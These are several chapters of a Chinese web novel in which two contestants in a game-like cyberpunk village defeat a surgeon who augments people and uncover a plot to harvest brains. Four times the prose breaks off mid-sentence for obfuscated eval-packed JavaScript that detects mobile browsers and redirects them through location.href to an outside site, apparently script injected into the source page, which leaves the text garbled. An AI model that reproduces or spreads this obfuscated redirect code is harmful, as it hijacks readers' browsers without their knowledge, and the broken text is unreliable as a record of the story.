看来解毒驱蛊只是顺带的,对人体进行机械改造才是村医真正的目的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15195121|165628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 当然,到底有没有毒、有没有蛊,也未可知。 青山是为村医提供经费的人,也是在母神殿外迫切地要把中毒的人送来交给村医的人。他必然在这一点上和村医有着共同的目标——要在夏令营的进程中,对体验者进行机械改造。 “别过来!离我远点!”姜月月的惊呼打破了心电监护仪发出的单调背景音。她的瞳孔仍然是一片茫然的黑,后颈被村医的五指死死勒住,身体还颤抖着想要蜷缩起来。 姜月月的状态看起来像是陷入了幻境,村医应该是拥有相关的精神系异能。 岑今上前一步。 “怎么?想通要接受机械改造了吗?”村医微笑了起来。 “你先给你手里那个小女孩做手术,我看看效果——”最后一个字的尾音还没落尽,岑今就猛地抬起右手张开了五指,紧接着用力地向内一捏。 “嚓——”架在姜月月脖子上的手术刀凭空从刀柄处断成了两截,刀刃当啷一声砸在地上。 这是岑今的新技能。 就在刚刚和村医对峙的时候,她忽然“感应”到了更远处——特指距自己一步范围内——的空间。 她垂着手悄悄测试了两次,发现自己对空间的操控突破了身体表面的空间壳,似乎能够小幅度地移动、扭转一步之内的空间。 于是,她装作被说服的样子,将村医纳入到一步的距离内。然后在交谈的间隙,抬起手迅速地“绞断”了手术刀刀柄处的空间。 第一次试验新技能,感觉还不错。起码她再也不是只能被动防御,而是可以主动出手搞点小破坏了。 抓住村医愣神的一瞬,岑今猛地向前跃起,右手的铁手肘直直地砸向她的胸口。 村医下意识将机械臂横挡在胸前,岑今的动作却突然变了。她的手肘向上一撩,金属的骨骼撞上村医毫无防护的下巴,十成十的力道掀过去,村医踉跄后退,后腰狠狠磕在了手术床的边沿。 她虽然只是个小小的机修工,但这么多年能在北岸安身,多少也懂点野路子武学。 简单的一个交手,岑今就能够判断,除了两条功能丰富的机械手臂,村医的身体素质与普通人无异,甚至还是属于普通人中瘦弱体虚的那一类。 岑今又动了动手指,半根机械零件从村医的左手臂上掉了下来。有了这个新技能的帮助,她甚至能在副本里干回拆装备的老本行,这感觉真不错。 村医的左臂短暂地失去了控制,往外挪了半寸,连带着掐住姜月月的五指也松开了。岑今抬腿冲着她的小腹踹过去,同时右手一揽,把姜月月带到了自己怀里。 村医呛咳着跌坐在地,梳得一丝不苟的发丝散落下来,面色苍白如纸。 不过岑今并不打算就此收手。对敌人的仁慈,就是对自己的残忍,她深谙这个道理。 岑今迅速把蜷缩成一团的姜月月甩到身后,一只脚死死踩住了村医的机械右臂,然后半蹲下去,俯身掐住了她的脖子。 “你能让人看到他们最害怕的东西。”不是发问,而是肯定。 随随便便一个幻境就能让姜月月那种性格的人失态至此?岑今是不相信的。能让她怕成这样,多半是分毫不差地踩中了她自身的恐惧。 村医被岑今摁在地上,身形狼狈,神情却并不慌张。她没有否认,眼中甚至流露出一丝玩味:“不过是做一场噩梦罢了。” 但对姜月月来说,这场噩梦未免有点太过沉重了。 12. 母神的赐福(十) 姜月月回到了她第一次觉醒异能的那个夜晚。 圆月已经高悬,她刚做完在垃圾分拣站的小黑工,回到了她家十平米合租屋的门口。 屋里很安静,没有可怕的声响,她判断可能存在的男人已经走了,于是掏出钥匙打开了房门。 难闻的烟味从狭窄的房间里喷涌而出,废纸和空酒瓶杂乱躺了一地,一个画着浓妆的女人正坐在凌乱床铺的边缘,沉默地吐着烟圈。 “妈。”她听到自己的声音喊了一声。 女人转过头来,面无表情地盯着她:“今天挣了多少?” “六新币。”姜月月有些愧疚。今天站里来了新人,她抢不过成年人,只能捡点剩下的活干。 “你真是个累赘。”她的妈妈冷笑了一声,随手拿起一个衣架,缓缓向她走来,“我为了养你,辛辛苦苦伺候那群畜生,你倒好,天天就知道偷懒!六新币?!两包青菜压缩粉都买不起!你怎么好意思回来的?!” 姜月月麻木地看着女人因尖叫而扭曲的脸庞,她知道,自己又要挨打了。 这与她挣了多少钱无关,妈妈结束自己的工作之后,时常会打她泄愤,有时轻有时重,有时像是与她有深仇大恨,有时却又流着眼泪。 她本该早就习惯了这样的生活。然而今天,姜月月却觉得自己有些不对劲。 女人赤脚踢开满地的垃圾,鲜艳的红指甲晃得她心烦。她的心头泛起一阵莫名的阴冷,浑身血液狂乱地四处冲撞,色彩在眼前一点点流失,目之所及就像是一场不断频闪的黑白电影。 “别过来!离我远点!”姜月月下意识地惊叫出声。她似乎控制不了自己的身体了,而她疯狂的灵魂,正叫嚣着要消灭那个手拿衣架、面目狰狞的危险人物。 “你还敢对我发号施令了?”女人高高扬起了衣架,圆睁的双目爬满了可怖的血丝,“你是我生的,我想打就打,你凭什么反抗?啊?凭什么反抗!” 衣架将要落在姜月月脸上的那一刻,她的小手死死地箍住了妈妈的手腕。 姜月月死死地咬住后槽牙,脑海中一半是愤恨怒火一半是惊慌失措,来回拉扯着她的自我意志。 眼前的世界彻底成了黑白色,她心中升起不祥的预感,却什么也做不了,只能祈祷妈妈能发现她的反常,然后立即离开这个逼仄的小屋,离她越远越好。 然而,女人震惊的目光先是落在自己被勒到失血的手腕上,下一刻,她恶狠狠地转过头,汹涌的怒意完全蒙蔽了她的双眼。 “我辛辛苦苦把你这个累赘拉扯大,你倒好,还手都学会了?!”她拔高了音量,另一只手毫不留情地往姜月月的脸上扇去。 枯瘦的五指在姜月月眼前不断放大,她的眼眶中渐渐蓄起泪水。 “啪”的一声脆响,不止响在她的脸上,也响在她仿佛断了一根弦的脑袋里。 她抓着女人的手腕重重向下一拉,古怪地咧开嘴,嘴里不知何时长出的两根长长的尖牙刺破皮肤,扎进了暗色的动脉。 鲜红的血液从伤口汩汩涌出,顺着女人垂下的五指滴落。姜月月舔了舔嘴唇,一双眼瞳彻底变成了黄金色。她的身后浮起浅金色的蛇影,垂首冷眼看着呆愣的女人,挑衅似地张开了巨口。 姜月月身形一闪,凑到了女人的脖子旁。 她的面颊上不住地滑过眼泪,但她却想不起来这泪水为何而流。 姜月月又一次咧开嘴角,上半张脸在哭,下半张脸却像是在笑。她的尖牙扎破女人不堪一击的脖颈,鲜血溅得她眯起了双眼,浓郁的血腥味堵塞了鼻腔。 女人滑落在地,一双大而凸出的眼睛不敢置信地盯着面前陌生的女儿。她张着嘴,似乎是想要说话,喉咙里却只能发出破风箱似的“嗬嗬”声。她的伤口正以肉眼可见的速度糜烂发黑,面色也迅速地灰败下去。 姜月月一动不动地站在一旁,身后的蛇影和黄金竖瞳一起疯狂闪烁,脸上的表情忽而癫狂、忽而欣喜,又忽而悲伤,肌肉抽搐着、战栗着,五官被牵扯得面目全非。 “妈妈……妈——!” 恍惚之中,她觉得眼前这一幕似乎已经看过了成百上千遍。她曾一次又一次地推开十平米合租屋的小门,然后发生的一切就像一个巨大的旋涡,一次又一次地将她拽向深不见底的梦魇。 她知道接下来会发生什么—— 然而女人的动作却并没有与她脑海中模糊的画面重合。她的妈妈没有用可怖的眼神死死地锁住她,没有挣扎着拼命向后退,没有“砰”的一声浑身僵硬地砸在冰冷的地上。 就在她眼底,女人摇摇晃晃地支起身子,伸出双手,轻柔地揽住了她瘦小的身躯。女人闭上双眼,像哄小孩一样,用手掌一下一下地拍着她的背,放任生命与口中渗出的毒血一起缓缓流逝。 姜月月的心中忽然升起了一个无比清晰的念头:这是假的。 她的妈妈,从来没有抱过她。 下一刻,她面前混乱不堪的出租屋如碎开的玻璃一般分崩离析,被抽离的色彩重新涌入视野——原来她一直都在手术室里,哪儿也没有去。她看到墙角晕着一个五花大绑的女人,似乎是村医。 姜月月想要动一动身体,却发现幻境中的触感并没有消失——原来真的有人抱着她,不过不是被她害死的妈妈,而是她原本想着可以害上一害的岑今。 “哟,你醒了?”岑今发觉怀里的小女孩不抖了,低头正好对上了姜月月黑沉沉的眸子。 姜月月有些不自在:“……你干嘛抱着我?” “不好意思啊,”岑今的眼神看起来十分真诚,“刚刚打了你两巴掌,但你一点反应都没有。我就想试试要不用温情的怀抱感化你,没想到你真的醒了。” 姜月月立刻从她的手臂间钻了出去。 “咳,村医的异能会让人看到——”她斟酌了一下用词,“噩梦。” “嗯,我猜到了。” 姜月月把头扭到一边,避开了岑今的目光:“是我大意了,谢谢你。” 岑今笑了笑,真是个别扭的小女孩。 她之所以想去抱一抱姜月月,其实是因为听到她颤抖着喊了两声“妈妈”。 虽然不知道姜月月的噩梦中究竟发生了什么,但想必那是一段无比痛苦的回忆。她只不过是个十几岁的小女孩,她本不该参加这个未知又危 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15195122|165628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 险的异能挑战赛,也不该承受这些的。 但岑今没有多说什么,她小时候也觉得诸如恐惧、悲伤都是“不成熟”的情绪,她不想让任何人看到自己脆弱的一面。她努力地把自己的情绪都藏到身后,这让她感到自己更像一个“大人”。 她猜,姜月月也是这么想的。 “好了,村医一时半会儿醒不过来。我看你精神状态尚可,不如我们抓紧时间去探探那个房间?”她指了指手术室右侧那扇紧闭的小门。 “好。”姜月月深深地看了她一眼,熟练地将刚才噩梦中残留的最后一丝情绪咽进心底。 自从她那天恢复神智,看到眼前血红一片的恐怖景象,然后逃命般地飞奔出了那间屋子之后,她几乎每一夜都会梦到当时的场景。 梦的结尾会升起一块黑色的幕布,左右两边是红与白的字幕在激烈互搏:一半滚动着“你杀了你的妈妈”,另一半则是不断放大又缩小的“死亡对她来说也是种解脱”。 两半字幕交织着,渐渐凝成一个疯狂旋转的巨大漩涡。小小的她被汹涌的洪流撕扯,不断下坠、下坠,堕落进涡流的深处,直到浑身湿透、心脏狂跳地惊醒。 但今天没有沉默的幕布,没有狰狞的文字,没有冷汗与越轨的心跳。有人在梦境之外给了她一个从未有过的拥抱,她于是轻盈地醒来。 她其实是想谢谢岑今,那个“试试看”的温情怀抱,似乎让她在阴郁的深海里上浮了一寸。 两人站在了门前。小门发扬着凤凰村一贯的乡村高科技风,木门一般的外表,用的门锁却是虹膜识别。村医现在正深度昏迷着,就算把人搬过来扒开眼皮也没法识别成功。 既然不能智取,那就只好强攻了。 岑今盯着门锁,缓缓抬起了手。随着她五指的开开合合,几小块疑似是门锁一部分的不规则金属叮叮当当地砸在了地上。 她虽然看不见门锁内部的具体构造,但她这些年做过的、修过的锁,没有一百也有八十。在新技能的加持下,搞点小破坏让门锁报废,对她来说是再简单不过的事。 “好了。”岑今拍拍手,门砰地一声弹开,露出来的锁舌坑坑洼洼少了几块。她欣慰地看着破破烂烂的门锁,对这个新技能十分满意——看来以后再也没有什么物理意义上的锁能拦住她了。 姜月月面无表情地比了个大拇指。 两人小心地走进房间,这里看起来像是村医的办公室,里侧的三面都是储物的橱柜。岑今大概扫了一眼,有一大部分都是医学相关的书籍,厚如板砖,随便拿一本都能把人砸晕。还有几排办公室常见的档案夹,不知道里面具体放了些什么。 办公椅上靠着一个熟悉又陌生的人影——是被村医占了床位的胡家明。他之前在母神殿中毒最深,四肢都被换成了机械义体,体格又比原来大了一圈。再加上他自带的铁脑壳,现在整个人估计有百分之六十都是金属结构。 他的胸口缓缓起伏着,小命是保住了,就是不知道精神状态有没有恢复正常。 姜月月照例简单检查了一下胡家明,确认他身上的虫毒也被完全清除了。忽然,她听见岑今在背后倒吸了一口凉气。 13.母神的赐福(十一) 岑今手上是一叠摊开的档案夹。她身旁橱柜的玻璃碎了一地,原本整齐的书籍档案被她一顿翻找,现在看起来凌乱不堪。 “你猜我看到什么了?”她随手拿起一本,冲着姜月月晃了晃。 档案夹里边夹了几张薄薄的纸,第一页用印章盖上的“失败”两个大字鲜红夺目。 她把手里的档案夹一本本展开在办公桌上,刺眼的“失败”像是复制粘贴一般,密密麻麻连成了一片。 姜月月走到桌前,皱起了眉头:“改造……失败?” 每一本档案夹,都对应了一位“病人”。夹着的纸就是“病历”,上面印着病人的头像、姓名等信息,下边是村医龙飞凤舞的手写体,每个人差不多都只写了两三行,并不长。不过,在“失败”印章盖下的位置,压着一个特殊的栏目:“改造率”。 10%→45%、8%→58%、19%→64%、17%→71%……到目前为止,岑今看到改造率最高的一位是从15%增加到了85%,但他也没有摆脱被盖上“失败”印章的厄运。 “这些档案,应该是村医操刀做义体改造手术的记录,你看后一页。”岑今随便拿起一本,翻到了第二张纸。准确地说,那并不是“纸”,而是一张人体全身X光片。“病人”哪些部位是金属的,哪些部位是原生的,在X光片里看得一清二楚。 岑今选中的这位改造率是55%,X光片里的双手双腿都是金属义体,机械化程度和现在的胡家明差不多。 “你觉得改造失败会怎么样?”岑今又从柜子里拿了一批档案下来,低声问道。 姜月月盯着村医的手写体鬼画符:“疯掉,或者直接死了吧。” “我倒觉得这些人大概率还活着,但是被控制起来了,就藏在这个村子里。”岑今飞快地扫过刚拿到的一摞档案,“我们来了也有一天了,你有看见过任何一个村民吗?” “没有。”姜月月抬起了头,“你是说,这个所谓的凤凰村,其实是假的?” “这些接受义体改造的‘病人’,也是和我们一样被抽中参加凤凰村民俗体验夏令营的幸运儿。”岑今的手指在一位位“病人”的头像上滑过,“肤色、年龄、性别、体格……没有任何规律,唯一的共同点,是都有一定的机械改造基础。” “刚从大巴上下来的时候我就在想,我们六个被选中的体验者都自带机械义体,是不是有点太巧了?” 下一句话,两人异口同声:“——除非这就是选人的标准。” 姜月月顿了顿,举起了手中的那一份档案:“我还有一个发现。村医的记录里,‘毒素’和‘排异’这两个词的出现频率很高。” 岑今奇道:“这么抽象的字体你居然也能看懂?真厉害!” “……呵呵,过奖。”姜月月嘴笑肉不笑,从衣服口袋里掏出了一个玻璃瓶,里面装的居然是一只瑟瑟发抖的毒蝎,“下午在母神殿捡的,我出门之前研究了一下。” “虫毒实际上威力不大,对吧?”要不是看到熟悉的毒蝎,岑今都快忘了自己膝盖上的蜇伤了,她现在几乎完全感受不到伤口的存在。 姜月月点头:“我的判断是虫毒绝不致命,最突出的效果是麻痹神经,青山说的蛊毒大概率是不存在的。” “村医在记录里经常写到‘排异’,我猜寄生虫的毒素是一种天然的麻醉品,而且恰好与改造手术适配——” “也就是说,中毒反而有助于机械义体的接纳,能够减轻排异反应。”岑今补上了后半句话。说完,她的脑中忽然灵光一闪,零碎的信息串成了一条连贯的线索链条,之前按下的疑惑似乎都模模糊糊浮起了答案。 民族特色鲜明的村寨、穿着传统服饰的npc、诡异迷幻的母神殿、七彩霓虹色的不夜村、科技感拉满的机关建筑……凤凰村给人的感觉是割裂、矛盾的,大山深处的村庄与高科技、壁画民俗与义体改造,这些要素似乎不应该在同一个场景中出现——但如果其中一方是幻象,另一方才是真实呢? 如果这个凤凰村的世界观,其实根本就是纯粹的未来科幻呢? 所谓的民俗、巫蛊、宗教信仰、壁画传说,都不过是掩人耳目的幌子,打着“民俗体验夏令营”的名义,挑选有机械改造基础的“幸运儿”,一方面是筛选出经济实力足够支付高昂夏令营费用的冤大头,另一方面也是选出生理基础上能够承受义体接入的好苗子。 母神殿的“临摹壁画”不过是个噱头,真正目的是让他们尽可能多地被注入寄生虫毒素,因而顺理成章地被带到村医的树屋,在毒素麻醉的加持下顺利地接受机械改造。 村医有一手好技术,却安于偏远闭塞的凤凰村,是因为青山拿着一波波的夏令营费用支持村医一次次进行改造手术,她在这天高皇帝远的地方不受任何限制,恰恰能更肆意地实践“用机械重塑人类脆弱不堪的血肉”的追求。 那么,还剩下最后一个问题——青山忙前忙后搭起这样一座充满烟雾弹的“戏台”,究竟是想要唱一出什么“戏”呢? 岑今一边在脑海中搜刮遗漏的信息,一边拿下了靠在柜壁上的最后一个档案夹。 打开档案夹,居然没看到水印似的“失败”两个大字,病人头像的照片看着还有几分眼熟。 岑近凑近了:“这眉眼是不是和青山挺像的?” “母神像。”姜月月低声道。 岑今和姜月月的话语同时响起,两人对视一眼,眼中都是压不住的震动。 照片里是一个清秀但有些憔悴的女人,两道弯月眉下,有一双清澈乌黑的眼睛。她的脸颊瘦削凹陷,苍白的上下唇轻轻碰着,嘴角却无意识地扬起一点极浅的弧度,面上宁静平和的气韵与母神像有种说不出的神似。 【姓名】:清姗 【年龄】:42岁 【改造率】:0%→92% 岑今翻到后一页,X光片上清晰地显示,这位“清姗”的躯干已经全部实现了机械改造,原生的部分只剩一个大脑。 “等等,”姜月月抓住她的手,又把档案翻回了第一页,“……毒素……耐受……思识芯斤?” 岑今跟着她一起费劲地辨认村医的鬼画符:“我猜是‘意识芯片’。” “更换大脑。”姜月月点着下一行疑似是四个字的一串神秘符号,这次的语气十分肯定。 “义体改造的限度和原生的身体素质有关,也和大脑神经网络的控制和调节能力有关。强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203939|165628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行接入超出承受范围的义体,很容易导致大脑损伤,甚至是全面崩溃……”岑近想起了在现实世界中看到过的义体公司的免责声明。 姜月月的手指移回了上一行:“我觉得这个‘毒素耐受’,是在说清姗体质特殊,对寄生虫毒素的适应性强,所以以她看起来不太强壮的身体条件,也能承受住全身的义体改造。” 岑今接了下去:“身体承受得住,大脑却承受不了进一步的改造,所以改造率停留在了92%,还需要一直‘更换大脑’来维持这样的改造水平——” 她忽然顿了一瞬,在戛然而止的那一刻,脑中缺了一角的拼图拼上了最后一块。 “——而我们就是被选中的大脑。” 他们都是清姗的“大脑储备”。青山和村医虽然都想让他们实现更进一步的机械改造,但出发点是不同的。青山这么做,是为了测试他们大脑的极限,选出最能承受清姗浑身上下92%的机械义体的大脑,让名为清姗的生命通过一次又一次的“更换大脑”延续下去。 只要维持住肉身不崩溃,她的记忆倒是不用担心,多半是早就被上传到了村医记录中提到的“意识芯片”中。这在模拟舱外的世界也已经是一项人人熟知的技术了,只是价格和义体改造一样对普通人极度不友好罢了。 所谓的“凤凰村民俗体验夏令营”,甚至整个凤凰村,也许都只是为了清姗不被盖上“失败”的鲜红印章而搭起的一台大戏。可是,以这样的方式“活着”的清姗,还是原来那个清姗吗? 真相似乎呼之欲出,可岑今却一时有些失语。她想起了开启之后就没来得及看上第二眼的支线任务,趁这个机会再一次打开了任务面板。 【支线任务:村医的秘密】 【完成进度:90%】 还差10%啊……是差在清姗的身上吗?清姗的身体会被保存在哪里? “这个清姗……是青山的妈妈。”姜月月的声音突然响了起来,听起来闷闷的,不知道是想到了些什么。 “嗯,看照片上的样子,应该是生病了。”生病、器官衰竭,才需要用这么极致的义体改造来维系生命。青山和村医虽然殊途,但在义体改造这件事上却是“同归”,两人各取所需,让凤凰村这一方天地维持着一种生态瓶似的平衡。 姜月月低下头,厚厚的刘海垂了下来,阴影遮住了她的眼睛:“即使这样,也要让他的妈妈活着吗?他的妈妈真的还想活下去吗?” 岑今冒着被姜月月一巴掌拍开的风险,摸了摸她柔软的发顶:“这个问题,我们也许有机会问一问青山他妈本人。” 姜月月还没来得及躲开岑今哄小孩的可恶手掌,就听到小房间外传来一阵剧烈且急促的“咚咚”声。 两人神色都是一凛,几个闪身回到了门外的手术室,岑今还不忘扯下档案夹里清姗的那几张“病历”,飞快地折起来揣进了裤兜里。 手术室还维持着她们刚刚离开时的样子,村医晕在墙角,蒋琳和陈小明睡在手术椅上,三个人的呼吸声此起彼伏,谁也没醒来。 声音是从最左边传来的。 岑今看过去,属于路阳的枝条正焦急地拍打着窗户,百叶窗的缝隙间抖动着一簇簇的叶片。 14.母神的赐福(十二) 能让路阳急成这样,肯定不是什么好事。而此时此地能发生什么坏事,倒也不算难猜。 岑今叹了口气,没再往左边去,而是直接向前,推开了树屋的大门。 空地中央,透明的电动扶梯前,立着一个单薄瘦削的身影——来的人正是青山。 他仰头望着半空中的树屋,向前走了一步。腰间的银饰随着他的步子摆动,在静谧的夏夜里碰撞出清脆的声响。 “哎,这么快就要撕破脸了。”岑今觉得有点可惜,她其实还挺好奇青山给他们安排的第二项体验是什么的。 姜月月没搭腔,睁着一双黄金瞳,紧紧盯住楼下青山的动作。 他从腰间取下了一支笛子,缓缓凑到了嘴边。孔中飘出的笛声并不悠扬,甚至称得上尖锐怪异,从青山的双唇之间溢散开去,无孔不入地钻入众人的耳膜。 下一刻,空地四周的小树林里响起一阵簌簌的声响。 路阳不知何时已经解除了植物人的形态,站在岑今身后探出半个脑袋:“我好像能感觉到,树林里来了不少人呢。” 岑今闻言,同情地看了一眼姜月月:“看来今晚你是睡不了长高觉了。” 话音刚落,树林里整整齐齐走出来了两条队列。青山垂手放下笛子,队列沉默地在他身后站定。所有人都保持着一模一样的仰头看向树屋的姿态,不同的脸上凝固着一模一样的漠然神态,有种令人毛骨悚然的诡异。 岑今眯着眼睛扫了一圈,楼下最起码有三四十人。他们高矮胖瘦各异,但青年人居多,四肢大部分都替换成了机械义体,这些人大概就是过去被选中参加民俗体验夏令营的“幸运儿”了。 很显然,青山有控制他们的方法。 “我觉得机器人大军主要靠声控。”她已经不是白天的岑今了,她不会再被笛子这种花里胡哨的民俗障眼法骗到了。 青山吹那难听的笛子,底下那群人就迈着机械腿整齐划一地走出来;青山不吹了,他们也就不动了——这不是声控或者某种信号遥控,难道还真是傀儡蛊吗?! 姜月月在紧绷中点了点头表示赞同。 剩下不明真相的路阳张着嘴震惊地左看一眼、右看一眼——不是,说好的傀儡蛊呢?这两人是怎么在如此赛博的结论上达成一致的? “对不起,但我也是迫不得已。”青山终于开口了,他的声音比白天低沉了几分。音量不大,但在这过分安静的夜里,正正好好传入几人的耳中。 语毕,他像下定了某种决心,再一次将笛子举到嘴边。 刺耳的笛声划破了本就摇摇欲坠的宁静,楼下的机器人大军迅速迈开步子,纷纷越过站在原地的青山,很快便塞满了通向树屋的透明扶梯。 “我可以给义体的机械零件搞点破坏,没法彻底报废,但起码能干扰他们的行动。”岑今加快了语速,以身作则先向两人透了底——打头阵的改造人离平台只剩下三级台阶,这种危急关头,正是和同伴建立信任的好时机。 姜月月身后金色蛇影一闪,没来得及回话就已经冲了出去。她的下肢仍然是正常人类的下肢,但前进的动作却像是一条捕猎的毒蛇,只一眨眼就窜到了第一个改造人的身前。 她纵身跃起,一双小手死命按住改造人的肩膀,嘴里两根长长的尖牙没入他未被机械覆盖的脖颈。改造人动作一滞,喉咙里发出漏气的“喝喝”声。姜月月那张通常没什么表情的脸扭曲起来,她喘着粗气,黄金竖瞳闪动着危险的光。 第一个改造人倒下,身后紧接着又有两个改造人跟了上来,他们的机械手里攥着和人脸一般大的斧头,寒光一闪,一左一右朝着姜月月毫不留情地劈了过去。 姜月月猛然回过神,狼狈地往后一滚。与此同时,岑今抬手,斧柄中间的一小截木头凭空消失,半个斧头当啷掉落在地。 岑今的大脑和手忙着发动异能,两条腿也没闲着,使了十成十的力向另一边的改造人飞去一脚,力道之大直接把人踹下了扶梯。 不愧是她,小时候群架没白打。 姜月月松了口气,终于得空接上岑今刚刚的话头:“我的异能是毒蛇,A级,适合近身攻击,咬人带毒。” 说完,她看了一眼被她咬了脖子的第一个改造人。那人脖子上的两个小洞里汩汩冒出黑血,双腿还被青山控制着往前迈步,面上却已经是一副僵硬发青的死相了。 岑今点点头——很好,她总算是知道姜月月的异能了。确实是强大的、足以自保的能力,怪不得她之前总是独来独往,一点儿没有和其他几人结交的意思。 第一个改造人肢体僵硬,半死不活,但后面的改造人大军一点儿也没有互帮互助、救死扶伤的意思,空洞黑沉的眼神直勾勾地盯着岑今和姜月月,视若无睹地把挡路的第一位挤开,一窝蜂涌了上来。 为什么不盯着路阳呢?——因为他又悄悄变回树了,此时此刻正插在树屋大门口,浑身叶子刷刷地抖动。 岑今刚用机械腿踹下去一个提着巨斧扑上来,想砍她手臂的改造人,听到路阳的动静匆匆回头看了一眼——门里排着队走出来三个人影,正是被装上了机械义体的胡家明、蒋琳、陈小明三人。 胡家明走在最前面,脸上的神情和青山的机器人大军一样呆滞、空洞、茫然。 但好在蒋琳和陈小明还没有完全失去自我意识,他们跟在后面,肢体的动作看起来有些别扭,手脚时不时抽动几下。 蒋琳低头看了一眼自己不受控制向前迈步的双腿,又和岑今对上了视线,皱着眉冲她摇了摇头。 大概是村医在改造的时候顺便对他们身上的机械义体动了手脚,安上了接收器和芯片一类的装置,让机械的部分能够被青山遥控指挥。但蒋琳和陈小明的改造率不像胡家明那么高,所以意识都还清醒,正在尝试和青山争夺义体的控制权。 胡家明在离岑今几步远的地方猛地起跳,强化过的身体动力十足,像一颗炮弹一样朝她扑来。 他的目标不是左胸口、咽喉、太阳穴这种致命的部位,而是岑今的下盘——也对,青山还要用他们的大脑呢,这一出的目的肯定不是要他们的命。 这种情况下,防守不如主动进攻。 岑今不闪不避,右腿往上一撩,毫不留情地重击了胡家明方方正正的下巴。胡家明脑袋被踢向了一边,两只手还执着地往前伸,倒是让他成功绊了岑今一个踉跄。 她还没来得及起身,呼啸的破空声已袭至脑后。 岑今下意识就地一滚,再睁眼,斧头的寒光停在她面前一寸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15224086|165628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “你差点被砍掉一条手臂。”姜月月的声音响起,语调仍然是平平的,但听得出压抑着疲惫的气喘。 一个看起来只有十六七岁的年轻改造人脖子上冒着黑血,手里还攥着那把巨大的斧头,在她脚边缓缓倒下。 岑今的心脏在胸腔里咚咚直跳,她飞快地在脑海里推演对策,双拳毕竟难敌四手,这样僵持下去总不是办法。 姜月月的异能显然对她自己有副作用,保持蛇化的状态到现在已经不轻松。她自己的异能威力有限,一次空间操纵只能破坏一处零件,青山的改造人大军又像是丧尸一样不会累也不会疼,只要没死透都会被操控着爬起来继续攻击,难缠的很。 岑今打开道具商店看了一眼——空无一物。看来破局的方法不在这里。 在一片混乱的打斗声中,笛声忽然走高,像是恶鬼凄厉的啸叫。 在这刺耳的噪音中,蒋琳新安装的机械手臂猛地抬起,冲着岑今的后颈飞去一个手刀。 “小心!”蒋琳急忙出声提醒。她的手腕咔咔作响,青山对她的控制加强了,她心里想着要收回手刀,但一点用也没有,手臂依然自作主张地向前,她甚至不能让力道减弱分毫。 岑今气还没喘匀,又匆忙回身抬起右臂的义体格挡。金属撞上金属,“砰”的一声闷响,她的手臂被砸凹了一块,蒋琳踉跄着退后了两步。 陈小明的惊叫从一旁传来:“对、对不起!” 姜月月躲开他不太灵活但大力的一拳,狠狠地磨了磨牙——想咬他一口,但控制住了,算这小子好运。 前有源源不断的改造人大军,后有被青山控制的改装版队友,屋里还有随时可能醒来的村医——腹背受敌,人又悬在半空中,他们被困在树屋门口的这一片小平台上了。 “这样不行,车轮战对我们的消耗远大于这些改造人。”姜月月费劲地把身不由己的陈小明挥到一边,一心二用地对岑今说道,“我可以试试去把青山杀了。” 岑今五指腾挪,又粗糙地拆了两把冲着她挥舞的斧头,瞥了一眼看起来神智也有点不太清醒的姜月月:“我不觉得青山死了我们就能完成任务。” 对了,任务…… 既然有主线任务一,那么按常理,最起码也该有主线任务二,为什么到现在都没有公布?是还没有达成触发条件吗? 村医的支线任务仍然卡在90%,她们已经知道了村医的异能,在小房间里看到了村医满满一书柜失败的改造记录,猜到了村医和青山“殊归同途”的合作关系,还差什么? ——还差那唯一一个尚未失败的实验品、不知去向的第一位病人。 “去母神殿。”岑今的目光越过一次次挣扎着爬起来,奇形怪状但仍然执着地要往平台上挤的改造人大军,遥遥对上青山的眼睛,“我猜清姗就在那里。” 话音落下的那一瞬间,久违的光幕又在她眼前展开。 【主线任务二:母神的赐福】 【完成进度:0%】 「在母神的庇佑下,凤凰岭成为了风景优美、民风淳朴的一方桃源。虔诚的信仰滋养着母神的无上神力,慈爱的母神也必将赐福于她的信众。谁将成为得到母神赐福的幸运儿呢?让我们一起拭目以待吧!」 15.母神的赐福(十三) 果然,主线任务二就是眼下的破局之法。 